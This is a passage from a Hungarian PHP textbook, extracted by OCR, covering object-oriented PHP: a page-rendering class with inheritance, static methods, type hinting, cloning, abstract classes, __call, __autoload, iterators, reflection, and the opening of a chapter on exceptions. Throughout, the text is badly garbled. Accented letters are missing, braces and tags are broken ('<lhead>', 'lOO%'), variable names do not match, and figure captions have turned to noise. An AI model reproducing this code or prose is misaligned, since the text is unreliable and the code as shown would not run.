egyszersg kedvrt- nem tartalmaz hibaellenrzs c, m ez a funkci szksg esecn ksbb

egyszeren hozzadhat. Mivel nem valszn, hogy ezen rtkek brmelyikt az osztlyon kvlrl meg fogjuk krni, dnthe

rnk gy, hogy- rnint ahogy itt is tettk- a _get () fggvnye nem adjuk meg.
Az osztly elsdleges clja HTML oldal megjelencse, ehhez fggvnyre van szksg. Fggvnynk, amelynek
a Megjelenites() nevet adtuk, a kvetkezkppen nz ki:
public function Megjelenites()
echo "<html>\n<head>\n";
$this -> MegjelenitesCim();
$this -> MegjelenitesKulcsszavak();
$this -> MegjelenitesStilusok();
echo "</head>\n<body>\n";
$this -> MegjelenitesFejlec();
$this -> MegjelenitesMenu($this->gombok);
echo $this->tartalom;
$this -> MegjelenitesLablec();
echo "</body>\n</html>\n";}

A fggvny nhny egyszer echo utastssal jelenti meg a HTML-c, de elsdlegesen az osztly ms fggvnyeinek meg
hvsaibl ll. Ahogy nevkbl gondolhatjuk, ezek a fggvnyek az oldal rszeit jelentik meg.
A fggvnyek ilyern felbontsa nem szksgszer. Ezeket a klnll fggvnyeket egyszeren egy nagy fggvnybe is
egyesthecrk volna. Srnos okunk volt azonban elklntskre.
Minden egyes fggvny jl krlhatrole feladacoe kell, hogy ellsson. Minl egyszerbb a feladat, annl knnyebb lesz meg
rni s tesztelni a fggvnye. Azonban ne essnk t a l msik oldalra sem! Ha tlsgosan apr egysgekre bontjuk fel a prog
ramot, nehezen olvashat lesz.

Objektumorientlt PHP

119

rklds alkalmazsval fellrhatjuk a metdusokat. Lecserlhetnk ugyan egy nagy Megjelenites () fggvnyt, de
nem valszn, hogy szeremnk az egsz oldal megjelentsi mdjt megvltoztatni. rdemesebb a megjelentsi funkeit n
hny klnll feladatra felbontani, hogy kpesek legynk kizrlag a vltoztaeni kivnt rszeket fellrni.
A Megjelenites() fggvny a MegjelenitesCm(),MegjelenitesKulcsszavak(},
MegjelenitesStlusok(},MegjelenitesFej lee (),MegjelenitesMenu () s MegjelenitesLablec() fgg

vnyt hvja meg. Ez

azt

jelenti, hogy definilnunk kell ezeket a metdusokar. A merdusokar vagy fggvnyeker ebben a logikai

sorrendben is rhatjuk, vagyis meghvsuk a fggvny tnyleges kdja eltt is megrrrnhet. Sok ms nyelvben a fggvnyeker vagy metdusokat elre meg kell rni ahhoz, hogy meghvhassuk ket. A metdusok tbbsge nagyon egyszer, nmi
HTML-t, illetve esetenknt a tulajdonsgok rarralmr kell, hogy megjelenrsk.
A 6.1 pldakd az oldal.inc.php nven elmentett s ezltal f:ijlknt beilleszthet, teljes osztlykdot mutatja.
6.1 pldakd: oldal. inc. php -A Page osztly a TLA weboldalainak egyszer s rugalmas ltrehozst teszi lehetv
<?php
class Oldal

ll az Oldal osztly tulajdonsgai


public $tartalom;
public $eim = "TLA Consulting Pty Ltd";
public $ kulcsszavak = "TLA Consulting,

Hrombets rvidts,

a keresoldalak a legjobb bartaink";


public $ gombok = array( "Kezdlap" => "kezdalap. php",
"Kapcsolat" => "kapcsolat.php",
"Szolgltatsok" => "szolgaltatasok.php",
"Oldaltrkp" => "terkep.php"
);

ll az Oldal osztly metdusai


public function

set($ nev,

__

$ertek)

$this->$nev = $ertek;

public function Megjelenites()

echo "<html>\n<head>\n";
$this -> MegjelenitesCim();
$this -> MegjelenitesKulcsszavak(};
$this -> MegjelenitesStilusok();
echo "<lhead>\n<body>\n";
$this -> MegjelenitesFejlec();
$this -> MegjelenitesMenu($this->gombok);
echo $this->tartalom;
$this -> MegjelenitesLablec();
echo "<lbody>\n<lhtml>\n";

public function MegjelenitesCim()

{
echo "<title>".$this->cim."<ltitle>";

public function MegjelenitesKulcsszavak()

120

6.

fejezet

echo "<meta name=\"keywords\"


content=\"".$this->kulcsszavak."\"/>";

public function MegjelenitesStilusok()

?>
<style>
hl
color:white;

font-size:24pt;

text-align:center;

font-family:arial,sans-serif

.menu

color:white;

font-size:l2pt;

text-align:center;

font-family:arial,sans-serif;

font-weight:bold

td
background:black

p
color:black;

font-size:l2pt;

text-align:justify;

font-family:arial,sans-serif

p.foot

color:white;

font-size:9pt;

text-align:center;

font-family:arial,sans-serif;

font-weight:bold

a:link,a:visited,a:active
color:white

</style>
<?php

l
public function MegjelenitesFejlec()

?>
<table width="lOO%" cellpadding="l2"
cellspacing="O" border="O">
<tr bgcolor ="black">
<td align ="left"><img src = "logo.gif" /></td>
<td>
<hl>TLA Consulting

Pty Ltd</hl>

<ltd>
<td align ="right"><img src =

"logo.gif" /></td>

</tr>
</table>
<?php

l
public function MegjelenitesGombok($gombok)

echo "<table width=\"100%\" bgcolor=\"white\"


cellpadding=\"4\" cellspacing=\"4\">\n";
echo "<tr>\n";

Objektumorientlt PHP

121

//gombrnretek kiszmtsa
$szelesseg = 100/count($gombok);

while (list($nev,

$url) = each($gombok))

$this -> MegjelenitesGomb($szelesseg,

$nev,

$url,

!$this->IsURLCurrentPage($url));

echo "</tr>\n";
echo "</table>\n";

public function IsURLCurrentPage($url)

if(strpos($_SERVER['PHP_SELF'],

$url )==false)

{
return false;

else

return true;

public function
MegjelenitesGomb($szelesseg,$nev,$url,$active

if ($active)

true)

echo "<td width = \"".$szelesseg."%\">


<a href=\"".$url."\">
<irng src=\"s-logo.gif\" alt=\"".$nev."\" border=\"0\" /></a>
<a href=\"".$url."\"><span class=\"rnenu\">".$nev."</span></a>

l"

</td>";

else
echo "<td width=\"".$szelesseg."%\">
<irng src=\"side-logo.gif\">
<span class=\"rnenu\">".$nev."</span>
</td>";

public function MegjelenitesLablec()

{
?>
<table width="lOO%"

bgcolor="black" cellpadding="12" border="O">

<tr>
< td>
<p class="foot">&copy;
<p class="foot">Krjk,

TLA Consulting Pty Ltd.</p>


olvassa el honlapunk<a href="legal.php">

jogi nyilatkozatt1</a></p>
<ltd>
</tr>
</table>
<?php

\..

122

6. fejezet

?>

A kd olvassa kzben vegyk szre, hogy a MegjelenitesStlusok(),MegjelenitesFejlee() s


MegjelenitesLablec () mecdusnak nagyobb blokknyi statikus HTML-c kell megjelentenie PHP feldolgozsa nlkl!

Ezrt a fggvnyeken bell egyszeren egy PHP zrcmkvel ( ?> ) kezdnk, begpeljk a HTML kdot, majd egy PHP kez
dcmkvel ( <?php) visszatrnk PHP-be.
Kt msik mecdust definilunk az osztlyban. A Megjeleni tesGomb () egy egyszer mengombot jelent meg. Ha
a gomb az aktulis oldalra mutatna, akkor egy kiss eltren kinz, sehova nem mutat, inaktv gombot jelentnk meg. gy
megrizzk az egysges oldalelrendezst, s vizulis tmutatst adunk a lcogatknak.
Az IsURLCurrentPage() metdus llapga meg. hogy a gomb URL-je az aktulis oldalra mutat-e. Szmtalan mdszer
rel Iciderthetjk ezt. Jelen esetben az strpos ( ) szeringkezel fggvnnyel nzzk meg. hogy az adott URL megtallhat-e
a szerver ltal belltott vltozk kztt. Az strpos( $ SERVER [ PHP_SELF l
1

amennyiben az $ur l karakterlnc benne van a$_SERVER [ 'PHP_SELF' ]

$url ) utasts szmmal tr vissza,

szupergloblis vltozban, ellenkez esetben

pedig false lesz a visszatrsi rtke.


Az Oldal osztly hasznlathoz be kell illeszteni az oldal.inc. php fjlt egy kdba, majd meg kell hvn a
Megjelenites () fggvnyt.

A 6.2 pldakd a TLA Consuiting nyitoldalt hozza ltre, s az 5.2 brn lthat, korbban generlthoz hasonl kimenetet
eredmnyez. A 6.2 pldakd a kvetkezket hajtja vgre:
L A require hasznlatval beilleszti az Oldal osztly defincijt magban foglal oldal. inc.php tartalmr.
2.Ltrehozza az Oldal osztly egy pldnyt. Ennek neve $kezdolap.
3. Bellga a tartalmat, amely az oldalt megjelent szvegbl s HTML cmkkbl ll. (Ez egyben a_set( ) metdust is

meghvja.)
4. A $kezdelap objektumon bell meghvja a Megjelenites () mecdust, hogy az oldal megjelenjen a ltogat bng

szjben.
6.2 pldakd: kezdolap. php-Ez a

honlap az Oldal osztlyt Jelhasznlva vgzi el az oldal ellltsnak nagy rszt

<?php
require("oldal.inc.php");
$kezdolap = new Oldal();
$kezdolap->tartalom ="<p>Kszntjk a TLA Consulting honlapjn!

Krjk,

sznjon r kis idt,

s ismerje meg cgnket!</p>

<p>Az zleti ignyek kielgtsre szakosodtunk,

remljk,

rvidesen nt is gyfeleink kztt tudhatjuk.</p>

$kezdolap->Megjelenites();
?>

A 6.2 pldakdbl ltszik, hogy milyen kevs munkra van szksg ahhoz, hogy ezen Oldal osztly segtsgvel j oldala
kat lltsunk el. Az osztly ilyetn alkalmazsa azt eredmnyezi, hogy az sszes oldalnak nagyon hasonlnak kell lennie.
Ha azt szeretnnk, hogy a honlap egyes rszei az lcalnos oldalszerkezet mdostott vltozatt hasznljk, egyszeren
lemsolhatjuk az oldal.inc. php fjlt egy j, oldal2. inc.ph p nev llomnyba, s ott vgrehajthaguk a kvnt mdos
tsokat. Ez persze azzal jr, hogy ha az oldal. ine. php bizonyos rszeit frissgk vagy javtjuk, nem szabad elfeledkeznnk,
hogy ugyanezen mdostsokac az oldal2. inc.php fjlban is vgrehajtsuk.
Jobban jrunk, ha rkldst hasznlva hozzuk ltre az j osztlyt, amely az Oldal funkcionalitst nagy rszben rkli,
azonban az eltrnek kvnt rszeket fellrj a. Tegyk fel, hogy a TLA honlapjn, a szolglcatsokat bemutat oldalon egy m
sodik navigcis svra van szksg! A 6.3 pldakdban lv program gy ri ezt el, hogy ltrehoz egy j, az Oldal osztl)bl
szrmaztatott, Szelgal tatasokOldal nev osztlyt. Ltrehozunk egy $sor2gombok nev j tmbt, amely e msodik
svba sznt gombokat s hivatkozsokat tartalmazza. M ivel azt szeretnnk, hogy az j osztly nagyrszt vltozatlan mdon
mk<ljk, csak a mdostani kivnt rszt rjuk fel: a Megjeleni tes( ) metdust.

Objektumorientlt PHP

123

6.3 pldakd: szalgal tatasok.php-A szolgltatsok oldal az Oldal osztlybl rkldik, de a Megjeleni tes() met
dust Jellrva mdostja a kimenetet
<?php
require ("oldal.inc.php");
class SzolgaltatasokOldal extends Oldal

private $sor2gombok = array(


"Folyamat-jjalakits" => "reengineering.php",
"Szabvnyoknak val megfelel6sg" => "standards.php",
''Varzsszavak'' =>

''buzzword.php '',

"Kldets" => "mission.php"


);
public function Megjelenites()

echo "<html>\n<head>\n";
$this -> MegjelenitesCim();
$this -> MegjelenitesKulcsszavak();
$this -> MegjelenitesStilusok();
echo "</head>\n<body>\n";
$this -> MegjelenitesFejlec();
$this -> MegjelenitesMenu($this->gombok);
$this -> MegjelenitesMenu($this->sor2gombok);
echo $this->tartalom;
$this -> MegjelenitesLablec();
echo "</body>\n</html>\n";

$szolgaltatasok = new SzolgaltatasokOldal();

$szolgaltatasok -> tartalom ="<p>A TLA Consulting szmos szolgltatst nyjt


gyfeleinek. zleti folyamatainak jjalakitsval nvelhet6 az alkalmazottak
munkavgzsnek hatkonysga. Lehet,
6jrafogalmaznia,

de az is lehet,

hogy vllalkozsnak csak a kldetst kell

hogy j zleti varzsszavakra van szksgk.</p>";

$szolgltatsok -> Megjelenites();


?>

A fellr Megjelenites () igen hasonl, m eggyel tbb sort tartalmaz:


$this -> MegjelenitesMenu($this->sor2gombok);

Ez a sor msodszor is meghvja a Megjelen i tesMenu() fggvnyt, s ltrehoz egy msodik mensort.
Az osztlydefincin kvl ltrehozzuk a SzalgaltatasokOldal osztly egy pldnyt, belltjuk azon tulajdonsgait,
amelyeknl nem az alaprtelmezett rtkeket szeretnnk hasznlni, majd meghvjuk a Megjelenites( ) fggvnyt.
Lthatjuk, hogy a 6.2 bra az ltalnos oldal j vltozatt mutatja. Csak a mdostott rszekhez kellett j kdot rnunk.

124

6. fejezer

6.2 bra: A

TLA

Consuiting Pty Ltd

liji$.1$ '

@iN'9

c.:;sg.;p;:;wn;g.pJI -

hi#'

... .

billilli

szolgltatsok oldalt rkldssel, az ltalnos oldal nagy rszt jra Jelhasznlva hoztuk ltre.

Az oldalak PHP osztlyokon keresztli ltrehozsa nyilvnval elnykkel jr. Ha a munka dandrjr egy osztly vgzi el,
akkor rtelemszeren kevesebber kell dolgozunk az j oldalak lrrehozsn. Az osztlyt frisstve egyszeren, egyetlen mozdu
lattal mdosthatjuk az sszes oldalt. rklds segtsgvel az eredeti osztly klnbz vltozatait szrmazrathatjuk anlkl,
hogy az rklds elnyeirl le kellene mondanunk.
Mint az letben szinte mindig, most sem ingyen jutunk ezekhez az elnykhz. Az oldalak kdbl trtn ellltsa jobban
ignybe veszi a szmtgp processzort, mint egy statikus HTML oldal betltse s elkldse a bngszre. Egy nagy forgal
m honlapon ez fonros szempont lehet, s trekedni kell vagy statikus HTML oldalakat hasznlni, vagy - ahol lehetsges a kdok kimenetnek gyorsttrazsval cskkenteni a kiszolgl terhelst.

Halad objektumorientlt funkcik PHPben


A kvetkez rszekben a PHP halad objektumorientlt funkciit mutatjuk be.

Osztlyon belli konstansok hasznlata


A PHP lehetv teszi osztlyon belli llandk hasznlatr. Az ilyen llandkat osztlypldny ltrehozsa nlkl is hasznl
hatjuk, mint az albbi pldban:
<?php

class Math
const pi

."!",

.._
__

3.14159;

echo " Math::pi

".Math::pi."\n";

?>

Az osztlyon belli llandkat a : : mveleti jellel az lland osztlyt meghatrozva rjk el, ahogy a fenti pldban is lthat.

Statikus metdusok ltrehozsa


A PHP engedi a static kulcssz hasznlatr. Metdusokra alkalmazva lehetv teszi, hogy osztlypldny ltrehozsa nl
kl hvjuk meg azokat. Ez az osztlyon belli lland metdusokon belli megfelelje. Vegyk pldul az elz rszben ltre
hozott Math osztlyt! Hozzadharunk pldul egy negy zetre_eme les ( ) fggvnyt, s osztlypldny ltrehozsa nlkl
meghvhatjuk a kvetkez kddal:
class Math

static function negyzetre_emeles(Sinput)

return $input*$input;

l
l
echo Math:: negyzetre emeles(8);

Objektumorientlt PHP

125

rdemes megjegyezni, hogy statikus metduson bell nem hasznlhatjuk a this kulcsszt, hiszen nincsen objektumpl
dny, amire hivatkozhat.

Osztlytpus ellenrzse s tpusjelzs


Az instanceof kulcsszval ellenrizhetjk objektumunk tpust. Megtudhatjuk, hogy valamely objektum egy adott osztly
pldnya-e, valamely osztlybl rkldik, vagy felletet valst-e meg. Az instanceof kulcssz lnyegben egy feleteles
mveleri jel. Pldul a korbbi esetekben, ahol a B osztlyt az A alosztlyaknt hoztuk ltre, a
B)

igaz.

($b instanceof A)

igaz.

($b instanceof

($b instanceof Megjelenithetol

hamis.

A fenti pldk felttelezik, hogy az A, a B s a Megjelenitheto az aktulis hatkrben tallhat; msklnben hiba
kvetkezik be.
Ezen tlmenen alkalmazhatunk az osztlyokra tpusjelzst ( rype hinting) is. lcalban amikor paramtert adunk t PHP
ben egy fggvnynek, a paramter tpust nem adjuk t. Tpusjelzssel meghatrozhatjuk, hogy milyen tpus osztlyt kell
tadni, s amennyiben az nem egyezik a tnylegesen tadoct tpussal, akkor hiba kveekezik be. A tpusellenrzs egyenrtk
az instanceof kulcsszval. Gondoljuk vgig pldul a kvetkez fggvnyt:
function hint ellenor(B $valamilyenosztaly

l l ...

E plda azt sugallja, hogy a $valamilyenosztaly a

osztly pldnya kell, hogy legyen. Ha ezt kveten az A osztly

egy pldnyt adjuk t:


hint_ellenor($a);
az

albbi vgzetes hibt kapjuk:

Fatal error:

Argument

(Vgzetes hiba:

l.

Az

l must be an instance of B
paramtere a B osztly

pldnya kell,

hogy legyen)

rdemes megemlteni, hogy A tpusjelzse s B egy pldnynak tadsa esecn nem trtnt volna hiba, mert a B osztly
A-bl rkldik.

Ksi statikus ktsek


A PHP 5.3 verzijban bevezetett ksi statikus ktsek lehetv teszik a statikus rkldsseiltrehozott pldnyban az osz-

clyra val hivatkozst; az alaposztlyok hasznlhatnak a gyerekosztlyok ltal fellrt, statikus metdusokat. Az albbi, a PHP
kziknyvbl szrmaz, alapszint plda mkds kzben mutat egy ksi statikus ktst:
<?php
class A

public

static function ki()

echo

public

static function teszt()

static::ki();

class B extends A
public

static

echo

//Itt jn a ksi statikus kts

(
function ki()

CLASS

B::teszt();
?>

A fenti plda kimenete:


B

CLASS

l 6

126

6. fejezet

A futsidben meghvott- akr fellrt, akr nem fellrt- osztlyokra mutat hivatkozsok lehetsge tovbbi funkciona
litssal gazdagthatja osztlyainkat.
A ksi statikus ktsekrl tovbbi informcikat s pldkat tallunk a PHP online kziknyvnek http:/ /www.php.net/
manual/ en/ language.oop5.late-static-bindings.php cmen elrhet rszben.

Objektumok klnozsa
A PHP-ben is hasznlhat clone kulcsszval meglv objektumot msolharunk le. Pldul a
Sc

clone $b;

utasts a $b objektum ugyanolyan osztly, ugyanolyan attribtumrtkekkel rendelkez msolatt hozza ltre.
A klnozs nem csak gy mkdhet. Ha a clone kulcssz nem alaprtelmezett mkdsre van szksg, ltre kell hoznunk
az alaposztlyban egy_clone(} nev metdust. Ez annyiban hasonl a konstruktorhoz s a destruktorhoz, hogy nem kz
veclenl hvjuk meg. Akkor hvdik meg, arnikor a clone kulcsszt az itt lthat mdon hasznljuk. A_clone(} metdu
son bell ezt kveten pontosan meghatrozhatjuk a kvnt msolsi mdszert.
A_clone(} metdus szpsge abban rejlik, hogy egy, az alaprtelmezett mdszerrel ltrehozott tkletes msolat elk
szlte utn hvdik meg, s ekkor lehetsgnk van r, hogy csak a mdostani kvnt dolgokon vltoztassunk.
A_clone(} metdushoz leggyakrabban olyan kdot adunk hozz,amely biztostja a hivatkozsknt kezelt osztlytulaj
donsgok helyes msolst. Ha megprblunk lemsolni egy objekrumra val hivatkozst tartalmaz osztlyt,minden bizony
nyal ennek az objektumnak a msolatt szeretnnk eredmnyl kapni, nem pedig egy, az eredeti objekrumra mutat msodik
hivatkozst. Pontosan ezrt rdemes hozzadni ezt a_clone(} metdushoz.
Dnthetnk gy is, hogy nem vltoztarunk meg semmit,hanem valarnilyen ms mveletet hajrunk mg vgre, pldul egy,
az osztlyhoz kapcsold mgttes adatbzisrekord frisstst.

Elvont osztlyok hasznlata


A PHP lehetv teszi az elvont osztlyok {abstract class),illetve elvont metdusok hasznlatr. Az elbbiekbl nem lehet pl
dnyt ltrehozni, az utbbiak kifejts nlkl adjk a metdus kereteit. Pldul:
abstract metodusX($paraml,

$param2};

Az elvont metdusokat tartalmaz osztlyoknak nmaguknak is elvontnak kell lennik,ahogy ezt a kvetkez plda is mu
tatja:
abstract class

abstract function metodusX($paraml,

$param2};

Az elvont metdusokat s osztlyokat elssorban olyan sszetett osztlyhierarchiban hasznljuk, amelynl biztosak k
vnunk lenni abban, hogy minden alosztly tartalmaz s fellr egyes meghatrozott metdusokat. Ugyanezt interfsszel is
elrhetjk.

Metdusok tbbszrs definilsa a

c a ll

( ) metdussal

Korbban mr szmos klnleges jelents osztlymetdussal tallkoztunk, amelyeknek ketts alulvonssal (_) kezddtt
a nevk. Ilyen volt a _get(},a _set (},a_construct(} s a_destruct (}.Ezek kz tartozik a_call(} me
tdus is,amit arra hasznlunk PHP-ben, hogy megvalstsuk a metdusok tbbszrs definilst {method overloading).
A tbbszrs definils sok objektumorientlt nyelvben megrallhat,m PHP-ben kevsb hasznos,mivel rdemes helyet
te rugalmas tpusokat s {knnyen ltrehozhat) opcionlis fggvnyparamtereket alkalmazni.
Hasznlathoz ltrehozunk egy_call(} metdust, ahogy tesszk ezt a kvetkez pldban:
public function
if ($metodus

call($metodus,

==

$p}

"megjelenites"}

if (is_object($p(0]}} {
$this->megjelenites0bjektum($p[0]};
else if (is_array($p(0]}} {
$this->megjelenitesTomb($p[O]};

Objektumorientlt PHP

else

127

$this->megjelenitesSkalaris($p[0]);

A_call () metdus kt paramtert fogad. Az els a meghvott metdus nevt,a msodk pedig az ennek a metdus
nak radott paramterek tmbjt tartalmazza. Ezt kveten eldnthetjk,hogy melyik mgttes metdust hvjuk meg.
Jelen esetben,ha objektumot adunk t a Megjeleni tes() metdusnak, a mgttes megj elenitesObjektum () met
dust hvjuk meg; ha tmbt adunk t,a megj eleni tesTomb () metdust hvjuk meg,s ha valami mst adunk t, akkor
a megjelenitesSkalaris () metdust.
A fenti kd meghvshoz elszr ltre kell hozni az ezt a_call ( ) metdust tartalmaz osztly egy pldnyt (acljuk

neki az overload nevet),s ezt kveten hvjuk meg a Megj eleni tes ( ) metdust,ahogy az albbi pldban is ltjuk:
$ov

new overload;

$ov->megjelenites(tomb (l,

2,

3));

$ov->megjelenites('macska');

A Megjelenites() els meghvsa a megjelenitesTomb (),a msodik pedig a megjelen itesSkalaris () met
dust hvja meg.
rdemes megjegyezni, hogy a fenti kd mkdshez nincs szksg a Megj elenites() metdus mgttes kifejtsre.

Az

au t o l o a d

( ) fiiggvny hasznlata

A PHP egy msik klnleges fggvnye az _a utoload ().Nem osztlymetdus, hanem klnll fggvny; ez azt jelenti,
hogy osztlydeklarcin kvl deklarlhatjuk Ha ltrehozzuk,automatikusan meghvdik, amikor mg nem deklarlt osztly
pldnyt prbljuk meg ltrehozni.

Az _a utoload ( ) hasznlatnak elsdleges clja megprblni beilleszteni a kvnt osztly pldnynak ltrehozshoz

szksges fjlt vagy fjlokat. Gondoljuk vgig a kvetkez pldt:


function _autoload($nev)

include_once $nev.".php";}

A fenti kd megprblja beilleszteni az osztllyai megegyez nev fjlt.

ltertorok s iterci ltrehozsa


A PHP objektumorientlt motorjnak okos,fu.nkcija,hogy foreach() ciklussal ugyangy lpkedhetnk vgig egy objektum
rulajdonsgain,rnint egy tmbn. Nzznk egy pldt:
class sajatOsztaly

public

"7";

"9";

$b

public $c

$x

"5";

public $a

new sajatOsztaly;

foreach ($x as $tulajdonsag)


echo $tulajdonsag."<br />";

(Ktetnk rsnak idejn a PHP kziknyv szerint a foreach fellet mkdshez ltre kell hozni az res Traversable
felletet,m ha ezt tesszk,vgzetes hiba trtnik. Ha azonban nem hozzuk ltre,a kd tkletesen mkdk.)
Amennyiben ennl knnomulrabb mkdst ignylnk,hozzunk ltre itertort! Ehhez az iterlni kvnt osztllyal ltre kell
hozni az IteratorAggregate interfszt,s hozz kell adni egy getiterator nev,az itertorosztly egy pldnyt
visszaad metdust. Ennek az osztlynak ltre kell hozni az Iterator felletet, amely Icifejtend metdusok sorozatval
rendelkezik. A 6.4 pldakdban az osztlyra s az itertorra ltunk egy pldt .

128

6. fejezer

6.4 pldak d:

iterator . php

Plda alaposztlyra s iterlarosztlyra

<?php
class Objekturnlterator irnplernents

Iterator

private $obj;
private $szarnlalo;
private $aktualislndex;

function

construct($obj)

__

$this->obj

$obj;

$this->szarnlalo

szarnlalo($this->obj->data);

function visszaallit()

0;

$this->aktualislndex

function ervenyes()

return $this->aktualislndex < $this->szarnlalo;

function kulcs()

return $this->aktualislndex;

function aktualis()

return $this->obj->data[$this->aktualislndex];

function kovetkezo()

$this->aktualislndex++;

class Objektum irnplernents IteratorAggregate

public $data = array();

function

construct($in)

__

$this->data

$in;

function getlterator()

return new Objekturnlterator($this);

new Object(array(2,

$sajat0bjekturn

$sajatlterator

4,

6,

8,

10));

$rny0bject->getlterator();

for($sajatlterator->visszaallit();

$sajatlterator->ervenyes();

Objektumorientlt PHP

129

$sajatiterator->kovetkezo(}}

$key = $sajatiterator->kulcs(};
$ertek = $sajatiterator->aktualis(};
echo $kulcs." => ".$ertek."<br />";}
?>

Az Objektumiterater osztly az Iterater interfsznek megfelel fggvnykszlettel rendelkezik:


A konstruktor nem ktelez, de nyilvnvalan megfelel hely arra, hogy az iterlni kvnt elemek szmhoz rtkeket,
illetve az aktulis adatelemre mutat hivatkozst lltsunk be.
A visszaallit(} fggvny lltja vissza a bels adatmutatt az adat elejre.
Az ervenyes(} fggvny kzli, hogy van-e tovbbi adat az adarmutat aktulis helynL
A kulcs(} fggvny adja vissza az adatmutat rtkr.
Az ertek(} fggvny az adatmutat aktulis helynl trolt rtket adja vissza.
A kovetkezo(} fggvny mozgatja az adatmutatt az adatban.
Egy ilyen itertorosztly hasznlatnak oka, hogy az adatokhoz mutat interfsz akkor sem vltozik, ha a mgttes meg
valsts igen. Pldnkban az IteratorAggregate osztly egyszer tmb. Ha gy dnrnk, hogy hash tblv vagy hi
vatkozott listv (linked list) alaktjuk, ltalnos Iterator hasznlatval is elrhernnk ezt, br ekkor az Iterator kdja
megvltozna.

Osztlyaink talaktsa karakterlncokk

Ha ltrehozunk osztlyunkban egy _toString(} nev fggvnyt, ez fog meghvdni, amikor megksreljk knyomtarni az
osztlyt, ahogy tesszk azt az albbi pldban:
$p = new Nyomtathato;
echo $p;

Az echo utasts azt fogja megjelenteni, amit a_toString(} fggvny visszaad. Pldul a kvetkezkppen hozhatjuk
ltre:
class Nyomtathato

public $tesztegy;
public $tesztketto;
public

function _toString(}

return(var export($this,

TRUE}};

(A var_export(} fggvny az osztly sszes tulajdonsgrtkt krja.)


A Reflection API hasznlata

objektumorientlt funkcii kz tartozik a RejlectionAPI (alkalmazsprogramozsi interfsz). A refel ction a meglv


osztlyok s objektumok lekrdezsnek kpessge, hogy tbbet tudjunk szerkezerkrl s tartalmukrL Ez a lehetsg akkor
igazn hasznos, amikor ismeretlen vagy nem dokumentlt osztlyokhoz alakrunk k interfszt, pldul amikor kdolt PHP
szkriptekkel tesszk ezt.
Az API rendkvl sszetett, de egy egyszer plda ttanulmnyozsa utn nmi fogalmunk lehet arrL mire hasznlhat.
Gondoljunk pldul az ebben a fejezetben deklarlt Oldal osztlyra! Az osztlyrl minden informcit megkapharunk
a Ref!ection API ltal, ahogy ezt a 6.5 pldakdbl lthatjuk.
A PHP

6.5 pldakd: reflection.php -Az Oldal osztlyra vonatkoz informcik megjelenitse


<?php

require once("oldal.inc.php");

$osztaly = new ReflectionClass("Oldal");


echo "<pre>".$osztaly."</pre>";
?>

Ebben az esetben a

Reflection

osztly_ toString ( ) metdusval ratjuk ki az adatokat. Figyeljk meg. hogy a <pre>

cmkk kln sorokban vannak, hogy ne zavarjk ssze a_toString () metdust!


A kd els kpernynyi kimenett a 6.3 brn lthaguk .

...

..,.
.... ft)
h-n-,1 l..acltuuoJ

-nr l "'*Ucl<'l
""-rorl olftlca...)
....U
..._.,.,,-u -1

..

Ilu-fUI) l
--l---- l
U .,_ __.._._-au oo_.,,..,,_.-_......UN_rl-"&U&J.-- l'

6.3 bra: A Rejlection API meglepen rszletes kimenete.

Hogyan tovbb:
A kvetkez fejezet a PHP kivtelkezel lehetsgeit mutatja be. A kivtelek elegns lehetsget adnak a futsidej hibk ke

zelsre.

7
Hiba s kivtelkezels
A fejezetben a kivtelkezels fogalmt, illetve PHP-beli megvalsrst mutatjuk be. A kivtelek egysges mechanizmust szol

gltamak a hibakezelsre, amely sajt, objektumorientlt alapokon nyugv hibakezelssei egszthet ki.
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
Kivtelkezelsi fogalmak
Kivtelkezelsi szerkezetek: try ...throw...catch
Az Exception osztly
Felhasznl ltal meghatrozott kivtelek
Kivtelek Bob autalkatrsz-rtkest alkalmazsban
Kivtelek s a PHP tovbbi hibakezel mechanizmusai

Kivtelkezelsi fogalmak
A kivtelkezels alapgondolata, hogy a kd egy gynevezett try blokkon bell hajtdik vgre. A kd ezen rsze gy nzi ki:
try

ll ide kerl a kd
Ha valami nem stimmel a try blokkban, kivtelt vlthatunk ki (throw exception). Egyes programozsi nyelvek, kztk

a java is, bizonyos esetekben automatikusan kivltjk a kivteleket. PHP-ben ezt sajt kezleg kell megrenni. A kivtel kivltsa
a kvetkezkppen trtnik:
throw new Exception('zenet',

kd);

A throw kulcssz indtja el a kivtelkezel mechanizmust. Inkbb nyelvi alkotelem, mintsem fggvny, mindazonltal
rtket kell tadni neki. Objektumot vr. A legegyszerbb esetben a beptett Exception osztly egy pldnyt hozzuk ltre,
ahogy tettk ezt a fenti pldban is.
Ezen osztly konstruktora kt paramtert fogad: egy zenetet s egy kdot. Ezek egy hibazenetet s egy hibakdszmot
szndkoznak jelkpezni. Mindkt paramter opcionlis.
A try blokk alatt legalbb egy catch blokkra is szksg van. Ez ltalnossgban a kvetkezkppen nz ki:
catch

(tpusjelzs

kivtel)

ll kivtel kezelse
Egy try blokkhoz egynl tbb catch blokk is trsthat. Ez akkor nyer rtelmet, ha minden catch blokk ms cpus
kivtelt kszl elkapni. Ha pldul az Exception osztly kivteleit szndkozunk elkapni, catch blokkunk a kvetkez
kppen nzhet ki:
catch (Exception

$e)

ll kivtel kezelse
A catch blokkba radott (s ltala elkapott) objektum a kivtelt felismer throw utastsnak radott (s ltala kivltott)
objektum. A kivtel brmilyen tpus lehet, de rdemes vagy

az

Exception

osztly pldnyair vagy a sajt, felhasznl ltal

meghatrozott, az Exception osztlybl rkld kivtelpldnyokat hasznlni. (A fejezet egy ksbbi rszben megmutat
juk, hogyan tudjuk sajt kivteleinket meghatrozni.)

132

7. fejezer

Amikor egy kivrel bekvetkezik, a PHP a megfelel catch blokkor kezdi keresni. Egynl rbb catch blokk esern a ne
kik radorr objektumoknak klnbz tpusaknak kell lennik, hogy a PHP rtelmez ki tudja derteni, hogy melyik catch
melyik blokkon menjen keresztl.
rdemes megemlteni, hogy catch blokkon bell nem lehet tovbbi kivteleket kivltani.
Hogy az eddig elmondorrakat vilgosabb tegyk, nzznk egy pldd A 7.1 pldakdban egy egyszer kivtelkezelsi pl
dt tallunk.
7.1 pldakd: alapszintu_kivete l. php-Kivtel kivltsa s elkapsa
<?php
try

throw new Exception("Szrny hiba trtnt",

catch (Exception $e)

echo "Kivtel ". $e->getCode().


" a ".

42);

$e->getFile() .

" fj l "

$e->getMessage()."<br
$e->getLine() .

".

/>".

sorban<br

/>";

?>

A 7.1 pldakdbl lthat, hogy az Exception osztly metdusait hasznltuk. (Ezeket rvidesen rszletesen is megismer
hegk.) A kd futtatsnak eredmnye a 7.1 brn lthat.

Q---
..__..,..,,..._""'-""-..,..01_.,...

....._...

....
..
...... _....

